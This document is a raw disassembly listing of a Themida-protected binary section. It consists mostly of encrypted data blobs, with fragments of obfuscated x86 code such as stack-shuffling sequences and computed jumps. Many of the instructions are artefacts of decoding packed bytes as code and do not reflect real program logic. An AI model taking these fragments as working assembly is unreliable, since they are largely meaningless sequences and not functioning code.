dd 8245C904h, 16h, 60A7E15Eh, 625A68E5h, 25C3271Eh, 4A50BD3Fh
dd 0A543870Bh, 0D4DE02F2h, 57A009FDh, 0D127967Ah, 52AB12E6h
dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
dd 68CF7BCFh, 0DE0h, 56240C89h, 0C681E689h, 4, 4EE81h
dd 34870000h, 14895C24h, 19636824h, 1C890000h, 348DBA24h
dd 0CA817BA5h, 71D77D36h, 9A4BBB53h, 0DA018A1Ah, 4EC815Bh
dd 89000000h, 4832424h, 525B0424h, 1DE8B850h, 44310B5Bh
dd 8F580424h, 73810843h, 5B1DE808h, 241C8B0Bh, 81E28952h
dd 4C2h, 4C28300h, 5C241487h, 5A2434FFh, 4C481h, 40E90000h
dd 0C9FFF95Ah, 0E4896FC0h
db 15h
; ---------------------------------------------------------------------------
loc_5AE5A1: ; CODE XREF: Themida_:loc_5AD863j
mov eax, 6122477h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
xor cl, bh
movsb
pop ecx
add ecx, [ecx+ecx*4+2C3F5D54h]
daa
aaa
pop es
pop ecx
inc eax
retn 2ABCh
; ---------------------------------------------------------------------------
push cs
jz short loc_5AE60B
push ss
inc eax
mov ds:396354B6h, eax
jnp short loc_5AE643
pop esi
jno short loc_5AE601
jmp dword ptr [ecx]
; ---------------------------------------------------------------------------
dw 48A4h
dd 3F9A6E60h, 0B4735836h
db 77h, 6Fh
; ---------------------------------------------------------------------------
loc_5AE5DA: ; CODE XREF: Themida_:005AE63Fj
mov al, 2
cmp [eax-15h], bl
add al, 7Ch
; ---------------------------------------------------------------------------
db 0F0h, 88h, 74h
; ---------------------------------------------------------------------------
loc_5AE5E4: ; CODE XREF: Themida_:005AE645j
jmp loc_5AEB36
; ---------------------------------------------------------------------------
db 9Bh, 8Fh, 0B0h
dd 63342A3h, 0E8E130DDh, 0BD849A0Bh, 0C3349A6h, 0E27960D7h
; ---------------------------------------------------------------------------
sahf
loc_5AE601: ; CODE XREF: Themida_:005AE5CAj
cmpsd
mov esp, 0EC774A53h
add esi, ebp
ficomp dword ptr [ecx]
loc_5AE60B: ; CODE XREF: Themida_:005AE5BEj
in al, dx
wait
scasb
mov ch, 44h
movsb
add [eax+edi-7Ah], al
; ---------------------------------------------------------------------------
db 0C5h, 0CBh, 7Ch
dd 0F8D5DE84h, 605FA514h, 340112F3h, 0B18C9940h, 0E3091CCDh
dd 1DBBD719h, 90E554C9h, 99FDD1A5h, 0C6C7DD35h
; ---------------------------------------------------------------------------
loc_5AE63C: ; CODE XREF: Themida_:005AE64Fj
inc edx
push ebx
dec ebx
loope loc_5AE5DA
; ---------------------------------------------------------------------------
db 0BAh, 46h
; ---------------------------------------------------------------------------
loc_5AE643: ; CODE XREF: Themida_:005AE5C7j
repne sahf
jo short loc_5AE5E4
mov [ebp+3F49A6h], bh
sal dword ptr [edx], cl
loop loc_5AE63C
db 67h
mov dh, 61h
pop esp
call near ptr 52111DA7h
inc edi
or bl, ch
cmp ch, cl
fsubr qword ptr [eax-8]
mov [esp+edx*4-45B4BE3Dh], ebx
db 36h
mov [esp+esi*2], edi
mov [edi+4Fh], ch
mov fs, word ptr [eax-2]
dec edi
mov dl, 41h
xor bh, [edx+66h]
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 0F8D5DE82h, 0CFD7C614h, 0C73B1665h, 0BE45F638h, 173174B2h
dd 94E43D4Fh, 32B3C9C3h, 41EA2FDEh, 11A32h, 0DEE20000h
dd 0C416FAD7h, 1D5632BAh, 0E1D9C394h, 17BFC647h, 6C51A60Eh
dd 6C40A498h, 0EAE93198h, 0F9F42E66h, 394DE173h, 8EC3941Dh
dd 1D5E2A42h, 0E9D1C394h, 0A3F25BF5h, 0E6DAF503h, 4A87907Dh
dd 0DADE6BA9h, 5FA617FBh, 1D741094h, 71FBC394h, 941D89FDh
dd 0C0241EC3h, 64BE18ECh, 0D0788069h, 0C2068AC7h, 1DF09418h
dd 377C394h, 6F9E3D2Fh, 246A25B0h, 739C57F1h, 0D4C12B26h
dd 251C62CEh, 0B5197D51h, 0EA53B751h, 3B8A29Fh, 0BAAACAEAh
dd 0D337D19Fh, 5E221F6Ah, 26AA95EFh, 0A2162177h, 0FC092B6Eh
dd 0CF94F074h, 271BC394h, 7B8A2EC3h, 41C55881h, 825132h
dd 0DEBF0000h, 0A617FBDAh, 6AF4665Bh, 941D86C2h, 173109C3h
dd 0C394A33h, 8AC9D1B8h, 6DB1906h, 0EE3887C9h, 27C89ABh
dd 14FD0822h, 0FA2B310Ch, 0EA2E92AFh, 0B251463h, 5A65BF68h
dd 0C0FF07F6h, 0CADBD97Ch, 41C40736h, 622232h, 0BDCA0000h
dd 81754850h, 56AAA34Dh, 0E2329B6Fh, 271B3A7Eh, 8B1A5E53h
dd 35271E62h, 1D4703ABh, 67C8C394h, 21CF231Eh, 9595CA46h
dd 6F01179Dh, 477A8970h, 8B719FF3h, 186FD7DEh, 7B5F66BCh
dd 0EB5FB397h, 2B5FD761h, 0B2C3941Dh, 95ED6A67h, 1D9AEB7Bh
dd 5E54C394h, 0F094B54Fh, 1BD3240h, 5B000000h, 0AFED3DEh
dd 0F17B56A3h, 73C7FE04h, 6865AE1Fh, 0D5AF4ABEh, 32E033D8h
dd 0ACB441F8h, 6CF7EB56h, 0BD16A32h, 9E0E96E3h, 9F6357BDh
dd 0BE8E52Eh, 0C8BC899Ah, 87CF002h, 9F3A61D2h, 8BF98DBBh
dd 0BE3A61D2h, 71826B7Ah, 256E9F44h, 0D23256DEh, 4DB53A61h
dd 0E334E569h, 72B462D6h, 4C798A73h, 0BFC46597h, 0BFA2C36h
dd 77BCFF2h, 15810E9h, 6FFC0000h, 39E4760Dh, 296DD1ECh
dd 98F96DFFh, 15BD9EFFh, 0C8CE3F2Dh, 27C10589h, 89297A23h
dd 0F4C3D57Fh, 287D2C90h, 7155A91Dh, 0D6DECF1Dh, 19370BFFh
dd 6964B15Eh, 5BA657E5h, 90BE9266h, 0BCC868BDh, 0DDE03881h
dd 4D311569h, 0EF149193h, 48B4AF9Ah, 2C35C2A1h, 7088h
dd 1EBD5400h, 92BFEDEDh, 6737D1F4h, 49DD0F14h, 0C394656Dh
dd 0DC14F8C2h, 0C39465A8h, 3D7570AAh, 8517C55Eh, 6597F37Bh
dd 2218C394h, 65447004h, 5746C394h, 0B990E341h, 0A0ACAB45h
dd 946A780Ch, 978BCFC3h, 76E91645h, 0EF6913CBh, 9BB5A998h
dd 9DEF4CD8h, 403C1747h, 65E9E82Eh, 3C23CD21h, 9Ah, 0F2988B30h
dd 15221F6Ah, 0D37DD506h, 4150BD6Dh, 447B8108h, 2A729CF0h
dd 0F223C952h, 0F47690ADh, 9F053170h, 0D722D3BDh, 4B3216FAh
dd 66E5033Eh, 0F84C7389h, 4BBAA084h, 47BB0F32h, 249BA1A9h
dd 146AC46h, 1FEE18C8h, 0CB243F0Ah, 373F83BEh, 3A608168h
dd 4FB43163h, 8AD40F3Ah, 128369F2h, 0D9ADC10Eh, 0AE3A6081h
dd 14D67054h, 71668C90h, 0EB5FA344h, 70C4F102h, 683ECFC5h
dd 30DD0F14h, 19387EEAh, 8C7D5125h, 0CC9E4879h, 678D5458h
dd 4C97EB4Eh, 0F6CDD5C0h, 0D6FE258h, 777E476h, 35E7AD7Eh
dd 0EE06E806h, 0BD8526E2h, 40FF6D55h, 0B9DDB807h, 321630A9h
dd 72169E28h, 0F53A7A95h, 483C0D18h, 17F61074h, 0C32C3702h
dd 90F940B6h, 9A3D63D3h, 0E112D2A6h, 44ABE081h, 0C8B10530h
dd 0CA388CBDh, 49B9D5D0h, 58AD5253h, 3340FF6Dh, 0D0976963h
dd 769750FEh, 9EAC102Dh, 59887B21h, 0FD2B47E4h, 47CB0A10h
dd 45CFDEDAh, 9DE64258h, 84F8DCA0h, 176DDC30h, 0FA0FFE28h
dd 8E724F5Ah, 5784564Ah, 56B03A2Ch, 0D89BB5F1h, 9519DA2Fh
dd 44C042F1h, 0A4280C76h, 3E3h, 9C840D00h, 9FDD4DEh, 967A57A0h
dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h
dd 0FC407988h, 7BCFFA0Dh, 0E78957CFh, 4C781h, 0EF830000h
dd 243C8704h
; ---------------------------------------------------------------------------
mov esp, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push esi
push 182322C9h
pop esi
shl esi, 2
dec esi
add esi, 47774B87h
xor esi, 0AE11F3EFh
push esi
pop edx
pop esi
push esp
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 8
add ecx, eax
push edx
pop dword ptr [ecx]
pop ecx
push dword ptr [esp]
pop eax
add esp, 4
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_543FDB
; ---------------------------------------------------------------------------
movsb
fcom qword ptr ds:6BEF5BFEh
mov al, ds:7CBE9585h
loc_5AEB36: ; CODE XREF: Themida_:loc_5AE5E4j
mov eax, 61229F9h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 95h
dd 63692924h, 53544CBBh, 3F0C56D1h, 37328C6Dh, 345351A1h
dd 0EF3F3A4Ah, 0EA4E5EBAh, 8D6F714Ch, 0A053C3Ah, 49762FCAh
dd 9011C65Eh, 9A45E6E4h, 17394E73h, 0B513ABD0h, 853DA2ABh
dd 0A82937BDh, 90462B00h, 6366C4A1h, 5C2CA48Ah, 0F8115DDEh
dd 0EB283535h, 0C7AFE304h, 52EE97Eh, 0D2240000h, 788F78FBh
dd 2E7DAA49h, 0DF27C013h, 8E9273E0h, 0CE15ACB7h, 9EAD52Fh
dd 0B9BA879Ch, 0D60D384Ch, 2D1EC39h, 8FFB73F9h, 0C58637h
dd 0D5DECBB1h, 5FA514F8h, 0BD68FA60h, 0F793536Eh, 78C3941Dh
dd 5C63BB02h, 0C3D431B2h, 4E5B02F6h, 1D656185h, 90EAC394h
dd 1661C8BCh, 52917AE0h, 2D01E4DAh, 0AFB6959h, 8325C3FAh
dd 0F70FFE02h, 0DA2F1EC8h, 8D9B74EFh, 961EA8B2h, 0C3943DF2h
dd 0E30D75h, 370A1984h, 0D5E03419h, 5E63B861h, 0C6F903EAh
dd 44E872h, 87C3943Dh, 8CB9CAB3h, 0D3D2C838h, 870682BFh
dd 243F161Eh, 3F83BECBh, 943D5637h, 8B1A90C3h, 4110D871h
dd 67F132h, 0BD1F0000h, 7269A81Eh, 65EC2B22h, 0EB628CFDh
dd 17DFA39Eh, 0C3945175h, 16EAFBB1h, 32413CF7h, 1D2h, 0D7DE3A00h
dd 372B166Fh, 2B8B9A43h, 3B1FE3DEh, 748A73C7h, 8C209F4Dh
dd 0C58125F8h, 4AC39468h, 0F79CC770h, 8DC54DFBh, 63921697h
dd 409271Ah, 714C55F1h, 0DC29C61Dh, 45E97BE1h, 0C3947301h
dd 0D192BC86h, 0FBDADE23h, 625FA617h, 0E7E6209Eh, 11DBFA3Eh
dd 0CEFD34AAh, 0C2068AC7h, 0F3848435h, 0A9169255h, 0A65A6972h
dd 0CA43ED99h, 51388CB9h, 0D2BB0F42h, 57068AC7h, 0D08E724Dh
dd 86BBD7D6h, 76DE2BDAh, 6AAE122Fh, 0CFDED876h, 41A60435h
dd 0B72D32h, 0DECB0000h, 3E6220DAh, 0D6ABDF57h, 0C63CC394h
dd 0D7D5A039h, 535E0FF3h, 0DB238A7Eh, 0E476B03Fh, 0FCD08889h
dd 645BA108h, 6D78B290h, 0EAFB3111h, 1AC0FF05h, 0F4606488h
dd 93E7C394h, 0F4A12549h, 0DC26C394h, 4C54B132h, 0E93AEB71h
dd 0B90D3049h, 629D6145h, 80331D99h, 3A83E7E7h, 1468DCE9h
dd 0D9C416FAh, 0CA0EF2C1h, 1CE9311Ch, 9457FC88h, 2B0F73C3h
dd 0F7F6A2A7h, 413CDC1Dh, 0C5D3C232h, 24C2068Ah, 475Dh
dd 0DADEBB00h, 0BBC517FBh, 0A4B72004h, 43835974h, 0C394CE07h
dd 0B994B288h, 89EC506Fh, 386B3CA3h, 5D0C1E79h, 0FF4F1B3h
dd 9F29CAF5h, 12F266Eh, 0FAD7DE1Bh, 1DAFDE16h, 2D67C394h
dd 0F0C168A0h, 1E83240h, 74000000h, 0AFED3DEh, 15CF9BC0h
dd 0E9C3A2DDh, 7EC5CE3Fh, 0BB4B768Fh, 0C39477CFh, 29DD7A40h
dd 0DD8FBBCBh, 0E31EE2C6h, 5D68BC69h, 0FF4F1B3h, 9A16CDFCh
dd 3AE0E408h, 1367C394h, 48D3A9F5h, 85AB10A2h, 755B37DCh
dd 9D986C9Ah, 52BD9E2Ch, 0E035E468h, 94E10ED5h, 6F1DD5B9h
dd 5A3A61B0h, 98058F1Eh, 0BA93BD80h, 1F8E5C69h, 6B0C3A05h
dd 8E5C69BAh, 0E7AF27Ch, 813A61B0h, 0B0DDA9B9h, 68523A61h
dd 96E34ABEh, 2F69D7BBh, 112C799Eh, 0B03446C2h, 3A61B0D4h
dd 96A3F25Bh, 608AEE22h, 61B0B8CCh, 1DCB0F3Ah, 369E0A23h
dd 10F272Ch, 6FC10000h, 40E4760Dh, 0BD9EFF11h, 47B6A49Eh
dd 67EB0534h, 0EA66DB6h, 3A60CF7Ah, 484AF5CDh, 31EA7400h
dd 0AA263D11h, 7F273D35h, 0AE58DF09h, 8B7F4A5Fh, 10E4D122h
dd 0B8616CA6h, 81B0C76Fh, 7EE5D93Dh, 35206B82h, 3D462Ch
dd 0BDAE0000h, 85744550h, 14A8467Dh, 0C66EFC87h, 0C3941DD2h
dd 9CADF855h, 0CF0D428h, 941DA024h, 6D78B2C3h, 0FDD6635h
dd 941DB3E7h, 262D9C3h, 5D59C2A8h, 0B9817EA8h, 875BBAh
dd 6FE50000h, 40E4760Dh, 0BD9F0521h, 3C948FAEh, 90592428h
dd 0DBAFB815h, 32160AB2h, 0BF8A9F4Eh, 33E4BA4h, 47E8B7BFh
dd 44573A60h, 0C0D88175h, 0E33909FDh, 4F95A8E2h, 714C59BEh
dd 53E8B4E2h, 39041C89h, 88C95D0Fh, 48447258h, 0D17F4A5Dh
dd 0D5840872h, 0D567F5C0h, 76323551h, 0A640BA30h, 0F0FDB7A2h
dd 9359E2BAh, 3299ED01h, 816E3076h, 97EB5F72h, 53DB95B3h
dd 4E642D02h, 673699C6h, 0A77B687Eh, 0A3B08A89h, 0E30D6F55h
dd 9D3A79Ah, 941DE1E5h, 381C66C3h, 1DCEBA32h, 7941C394h
dd 1E5FD705h, 0AFBD8602h, 0CB55E76Bh, 79C827A3h, 625FA63Ah
dd 0E5DDBA9Eh, 84B1C24Bh, 6865AE5Fh, 7AC24CE4h, 0C8E2B5ACh
dd 0F6C3D43Dh, 0DD51E36Dh, 428C28A9h, 232AC43Eh, 2F266ED6h
dd 6BF547CBh, 8C2887C3h, 14320842h, 6ED2E139h, 0CF34B1F3h
dd 0D35D8FBAh, 8C282F5Bh, 0AC5AA042h, 0FCC9DACBh, 10B708h
dd 78A50000h, 440E42Fh, 8B428C28h, 4FB553B7h, 0D4DE9C84h
dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h
dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 51CF7BCFh, 0C181E189h
dd 4, 8704E983h, 895C240Ch, 3E68240Ch, 8900001Eh, 89532414h
dd 4C381E3h, 83000000h, 1C8704EBh, 34895C24h, 4DA46824h
dd 3C890000h, 2AFABF24h, 0FA890612h, 4EC835Fh, 83242489h
dd 5E042404h, 0D6895651h, 895EF189h, 0FF59084Eh, 815E2434h
dd 4C4h, 2434FF00h, 4C4815Ah, 0E9000000h, 0FFF94F1Bh, 0E4506B3Fh
dd 0E0EB5122h, 0CEFB25ADh, 122FAFB8h, 0FFC50306h, 178EE7E0h
dd 50D55B4Bh, 0A66C0665h, 0E9CA416Eh, 4F356911h, 1DD50118h
dd 35DD4101h, 848ED205h, 3367080Eh, 75782949h, 0C0263230h
dd 5E04EB60h, 0E9348C04h, 53Bh, 8E556CB6h, 383B1661h, 568DBCCFh
dd 815261B9h, 32211C64h, 7B815C83h, 296E9F44h, 0D6DECF14h
dd 7E8B64FFh, 816B9043h, 862D196Dh, 0B91FEEC5h, 0E60ED5DEh
dd 0C3941DE2h, 743EB65h, 88C3941Dh, 967A5EB2h, 2E77DD27h
dd 0B9FEAF13h, 0F8DC3084h, 40340B11h, 0DACB280Ch, 0F16EFCC9h
dd 2F78C03Ch, 48C06E1Bh, 0D5B994E1h, 63B51164h, 48ACE054h
dd 17968CC4h, 0E73DA5EEh, 3C1074D8h, 87BEC627h, 6A65B35Ch
dd 8EE37E6h, 0A0E92BA3h, 9D337DEh, 0D5B9849Ch, 71AB46F1h
dd 0EEED711h, 7FCD68E0h, 7F0D79EDh, 0B882C394h, 7099148Eh
dd 0DDCA2924h, 0D909FDC8h, 0C3947FA8h, 1FE3DE2Bh, 9A6E63AEh
dd 0EF7570AAh, 947F0347h, 5ABE84C3h, 2FE5E0BAh, 324152FEh
dd 7B2Bh, 0D5DE3500h, 3D2F1A6Dh, 941DDDA9h, 746852C3h
dd 0B4D054E6h, 3BC3941Dh, 12129C7h, 0C3941D43h, 379BB2C2h
dd 0B3073E46h, 1D4105A9h, 0FCC6C394h, 8B119C96h, 941D6763h
dd 0BE92E8C3h, 0B810C86h, 3240F0E2h, 0E3DE2DD8h, 1BC45h
dd 0DE580000h, 0EC980CD7h, 63C3941Dh, 0F94D748Ah, 33BBA185h
dd 0C3941D57h, 3A8EE2D8h, 81754453h, 0FF3C2D8h, 3BE0EDC7h
dd 0E906DDECh, 42B2A19Ch, 17FBDADEh, 9E625FA6h, 3EE7E620h
dd 0EF18DBFAh, 72DBAF9Ah, 0A3A62A27h, 0DD1CF4F1h, 0D43240F2h
dd 78h, 0D6B23A44h, 59C39417h, 0DE51C761h, 2A276EDAh, 0BA0E62A6h
dd 589C0D3h, 8D714C54h, 1A69CDDCh, 177FC327h, 96FE901Dh
dd 90E8119Ch, 4359B6ADh, 3042887Ch, 941DC8BCh, 0DF591FC3h
dd 513D2A73h, 0D72D9CE6h, 0B7CF3EE8h, 93010488h, 83FFE12h
dd 426A3241h, 0F2000000h, 71FBDADEh, 3EB67184h, 0C3941D4Ah
dd 3881E5DDh, 0DD35D3E2h, 592D186Ch, 68911C44h, 0CE362D10h
dd 16FAD7DEh, 0FDC0D9C4h, 1DC28353h, 760CC394h, 0F16C9D77h
dd 6453240h, 0D7000000h, 48E6DB26h, 0FED3DED2h, 7B56A30Ah
dd 9F2E6A97h, 0CD162B76h, 0C9BD3143h, 50C3941Dh, 4D817548h
dd 5E5E88F2h, 0BF37253Eh
dd 0BD9EFCBAh, 1AC3B78Bh, 0B12E3C09h, 0C25DE87h, 99B8FEB9h
dd 3FE88BA5h, 0C394AEAh, 3CB0C228h, 3A608D48h, 0C54DFBDFh
dd 608D1F6Dh, 0FF0E2A3Ah, 743EB75h, 0E53A608Dh, 608D0541h
dd 0C7B08A3Ah, 0AFF855F3h, 0EDD79F49h, 0FCD0AAB9h, 6A76E567h
dd 74127269h, 256EDF09h, 6796A428h, 795D2110h, 18357ECFh
dd 6FD523D2h, 41352918h, 5A67BC0Dh, 0B8FAA4ACh, 86B3C42Dh
dd 0F850A954h, 8EB89CADh, 0EB022BD5h, 83382C35h, 0CCD8EB36h
dd 5D4846F1h, 4BE07997h, 0C000001h, 96E30D6Fh, 119547BBh
dd 0BD9EFF60h, 0F867F5CDh, 4256BDCCh, 0A723C473h, 26AA95EFh
dd 0E8608EE2h, 1AD9F401h, 0D9AD98EDh, 0A62A2770h, 0A52FBEF8h
dd 0F6102978h, 2C370217h, 0EA9E16A0h, 7D3A609Bh, 0D871EB05h
dd 0F12C3576h, 6Eh, 0BB33BD1Fh, 0C3941DCFh, 6C188C40h
dd 0E3C3941Dh, 318DBB9Fh, 0FB8F276Ah, 4CC3941Dh, 93C81276h
dd 0C98D8E2Fh, 2A5ED6ABh, 0BDC3947Fh, 25C76145h, 947F9581h
dd 0EF359AC3h, 0DC6EFCD0h, 947F3C48h, 5E65BDC3h, 0D12996EAh
dd 7713D337h, 6DC3947Fh, 97E4BA4Bh, 7300F19h, 0D96DFB27h
dd 0EDC30E4h, 9491B2E6h, 964DB5C3h, 916Fh, 0D6F8900h, 34031580h
dd 80C40C40h, 7C3941Dh, 990DDF33h, 0BD9F05C8h, 6059A805h
dd 0A756639Ch, 80455976h, 76C448ACh, 0F3477287h, 8B9C719Fh
dd 3F48A5BEh, 0CDB18097h, 35479589h, 3A8EB3C8h, 117A0EC6h
dd 0F5CD3A60h, 307FF75Bh, 3B3A6010h, 0F207ECF9h, 2B901CC7h
dd 0E2343C88h, 0AFEF19C5h, 0A4B6CDh, 4472661Fh, 0F7A62A10h
dd 362397A2h, 3CE97372h, 8168DCEDh, 92F65A79h, 700C90BEh
dd 0C2ED01EBh, 0B34E6437h, 0ED18944Fh, 0E024A897h, 0D6FD046h
dd 5F40E476h, 0D0BD860Dh, 3B1F2A7Fh, 0A09DE657h, 744152B3h
dd 0B4D054E6h, 3B3A79CDh, 12129C7h, 6BE7DDBFh, 1B800D27h
dd 0A420330Eh, 83F6921Ah, 17904DBh, 201D66E7h, 5895ED5Ch
dd 0DB83B0D4h, 0EFC33704h, 0F7BF37Dh, 8004DB83h, 99848CBAh
dd 10658A1Bh, 0C4D13E25h, 88370589h, 73532A69h, 877CAA20h
dd 1Bh, 0C233BD21h, 0DC3084B1h, 941D7014h, 6583F7C3h
db 0B2h, 36h, 89h
byte_5AF59F db 0EAh ; DATA XREF: Themida_:loc_56F04Fr
dd 9707D2AAh, 0DE6AD07Eh, 0A009FDD4h, 27967A57h, 0AB12E6D1h
dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
dd 0CF7BCFFAh, 51E28952h, 4B9h, 59CA0100h, 8704EA83h, 685C2414h
dd 757h, 68243C89h, 4A1h, 55242C89h, 127FABDh, 86EBF62h
dd 0EF01A411h, 83242C8Bh, 8B5404C4h, 0C483242Ch, 0BF575304h
dd 5AB353C5h, 0B353CDBBh, 5FFB315Ah, 3B89EB01h, 242C8B5Bh
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h
dd 9CE904C4h, 0F3FFF949h, 0E5601CD3h, 0B89887CAh, 6123528h
dd 0E0FFC503h, 1E62C495h, 38559B43h, 773BA587h, 15EA553Bh
dd 4639202Ah, 1A606C1Bh, 0C1C3892h, 1B128C23h, 64F10BC9h
dd 2144FC08h, 58A81746h, 463C84CFh, 60F89ED8h, 36BD8D8Dh
dd 810F0612h, 3, 89DA8B66h, 0B174D8Dh, 13E806h, 65080000h
dd 2EB03871h, 0F94D7B18h, 14DEB83Dh, 6F40EBF1h, 0A1958909h
dd 5A060B22h, 10E9h, 23061D00h, 17653E1Dh, 4765AEE6h, 8395C814h
dd 1985C79Fh, 28060B01h, 6A000067h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 2D3C352h
dd 3D97BBC3h, 8A7CB036h, 17CDBD89h, 85C7060Bh, 60B1009h
dd 0
dd 890Fh, 0B5FF0000h, 60B0FD5h, 7E8h, 8EFD5200h, 7841E7E6h
dd 5E9h, 0CD696500h, 815B4520h, 76B17BC0h, 0C595FF6Dh
dd 6A060B0Ah, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0A870C350h, 6AFB55h, 32DD95FFh
dd 0C08B060Bh, 1B4A3CEBh, 9AB79EF2h, 8C5858C4h, 0DAC3D308h
dd 0A58F6DFh, 111D356h, 12B43B59h, 81B91087h, 431F5343h
dd 0F38B24D1h, 0A6B95F21h, 0C0C63281h, 0C318942h, 0D24675E1h
dd 70CD39C7h, 4EBA7C2h, 62C42642h, 50CE9h, 0F4C3D700h
dd 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h, 407F8562h, 0DE3D2493h
dd 8F78FBDAh, 7FA84B76h, 28C51E29h, 8871E2DFh, 2AB8CC60h
dd 400FC586h, 6DD5DED8h, 7B5F231Eh, 0B6CAB307h, 4ED8548Fh
dd 0F57D4C5Fh, 0C3941D91h, 0B022C16h, 0ED7FC3FEh, 0B723054Eh
dd 87A11332h, 9A407D86h, 0E0E0E408h, 1367C394h, 59AC1DF5h
dd 76ACE468h, 0F400ED77h, 0CB1175D9h, 94E027A3h, 0B452A8C3h
dd 0E2714C59h, 1FC4F305h, 0DBAFA6EEh, 0AC102D72h, 0BFCA3BB1h
dd 2CDA3E82h, 82927B8Ah, 2A7FA84Bh, 6F94768Ah, 47384D95h
dd 0AB1F7357h, 9416CABBh, 7F8E04C3h, 40FC6485h, 444D32h
dd 2EDF0000h, 0D93FE9E8h, 14F8D5DEh, 941DAEDCh, 0A12C66C3h
dd 0AE9BEA1Bh, 0F16F9E80h, 15A3240h, 0A2000000h, 16FAD7DEh
dd 0FDC0D9C4h, 9EABFA53h, 43B432Ah, 4B5A50B0h, 0F5C0D4C1h
dd 96A3F25Bh, 7A57A04Dh, 0DADE1BF9h, 5FA617FBh, 2E209E62h
dd 0C36BACFFh, 0C3941D87h, 6ADE3208h, 2FBEF816h, 5083B2C6h
dd 855762B7h, 1D97F37Bh, 2218C394h, 4E5D0C04h, 0D9DE8F73h
dd 5EA910E4h, 0E7219F63h, 0EB7194E6h, 28F78474h, 29C7D7B0h
dd 538A7E8Fh, 5E324140h, 7Bh, 0FAD523D2h, 2E143216h, 17FBDADEh
dd 0A9BD5BA6h, 21873BF5h, 1990F478h, 2317C394h, 18357ECFh
dd 3A705024h, 0A0F421ABh, 379E854Eh, 160A460Bh, 4DC06EA2h
dd 3AEB0837h, 826BDFE6h, 5CF1457Ch, 8AB34944h, 0A7324119h
dd 5Dh, 0FBDADE41h, 46738471h, 259AA0A8h, 35933231h, 36BEACEBh
dd 0C3947B52h, 0CA43EDD5h, 0FA3F83BAh, 0B2C62FBEh, 7B95F175h
dd 201AC394h, 0DEE117CCh, 0EC980CD7h, 63C3941Dh, 9F573B1Fh
dd 0C3941DEEh, 237BAA38h, 6F437E89h, 12E6E7C1h, 3240F0FBh
dd 0F7CED4C1h, 5821CF03h, 1, 0FED3DEA4h, 7B56A30Ah, 54E66A97h
dd 941DB4D0h, 0EBE635C3h, 0B5542367h, 0A4420E62h, 6987FB33h
dd 4A59BE4Fh, 0EF38E577h, 2C136BD2h, 67356102h, 0B90D3049h
dd 73FB6145h, 0BD9E0966h, 0E93E35AAh, 0DDC58E7Eh, 1AEED433h
dd 816B66B3h, 287D365Ah, 3B1FE3D2h, 0DEFECE1Ch, 0F150AB7Ch
dd 123C1091h, 2145D751h, 3A618AA5h, 0D736D02Ah, 2303F7C2h
dd 3A618AA1h, 9B13D024h, 3A618AEFh, 52261A60h, 0DAAE91EBh
dd 0D7AB3A7Ch, 9E0786D2h, 4ABBB895h, 0D1B80C39h, 5B0589C4h
dd 0D9C44C59h, 0F855F3CEh, 5D4892AFh, 4B8F734Eh, 0F3EDA9Dh
dd 3A2C3688h, 0FEh, 760D6FC2h, 0FF1140E4h, 0A49EBD9Eh
dd 211C69D0h, 0F5C0D532h, 724F5801h, 0D7D6D08Eh, 0BE8E52Eh
dd 35C36089h, 5D492Ch, 6F970000h, 5BE5770Ch, 0C36D54AAh
dd 941D0733h, 0C81268C3h, 4EF8C7DDh, 64CB70FAh, 0A153500Fh
dd 82E6D127h, 0CDF49064h, 26753C6Bh, 0A1F6A72Bh, 0EDD82D9Ch
dd 6865BF19h, 0EBFA3C16h, 8953E8B3h, 6BCD3165h, 55AA5B3Ch
dd 289CABFDh, 0F956F0D4h, 0FE60AE5Ah, 1276BAF7h, 7832C1h
dd 0BD5A0000h, 969E4A50h, 93F7CBBFh, 613DEB2Fh, 83C1DB1Bh
dd 6373FC13h, 1849DD0Fh, 55BD9FF0h, 0E730996Dh, 0EFF09EAh
dd 347CB0Ah, 221F68E5h, 0D7C9965Eh, 90C03A61h, 0AE9BEC15h
dd 8893E9B5h, 0C2BACA62h, 0CD354473h, 0FD02F379h, 0D22726C0h
dd 0F7C675E7h, 471DDD5Dh, 0AB56BA54h, 0F686DCE9h, 1777FF6Dh
dd 984E65EEh, 5D726479h, 45C6BDC9h, 0FC8322Eh, 50B42555h
dd 0D6F7583h, 360D1580h, 82C60E42h, 5C3941Dh, 8113D93Dh
dd 0ADC10E14h, 0C3941DD9h, 8C7054AEh, 0B6D69E48h, 39BD8608h
dd 0B1A41BC1h, 89A8138Fh, 70D931DFh, 0DCC92A27h, 0DA0AFECBh
dd 99AFF67Eh, 58414C66h, 4E1724Fh, 0A714C6F3h, 0C8C6FEFEh
dd 5A778202h, 0ACBE92F6h, 83324C38h, 51FFC356h, 0CB0A10F9h
dd 6B1F9721h, 91568332h, 8332691Dh, 3B84FE56h, 342129C7h
dd 7F88717Ch, 85179142h, 83326561h, 0F305EA56h, 381C70C4h
dd 0DFEA3F0Eh, 3946Bh, 843C0000h, 0FDD4DE9Ch, 7A57A009h
dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh
dd 40798871h, 0CFFA0DFCh
db 7Bh, 0CFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 72F2h
mov [esp], eax
push 61ACh
mov [esp], edx
push edx
push 3A5C5EA1h
pop edx
dec edx
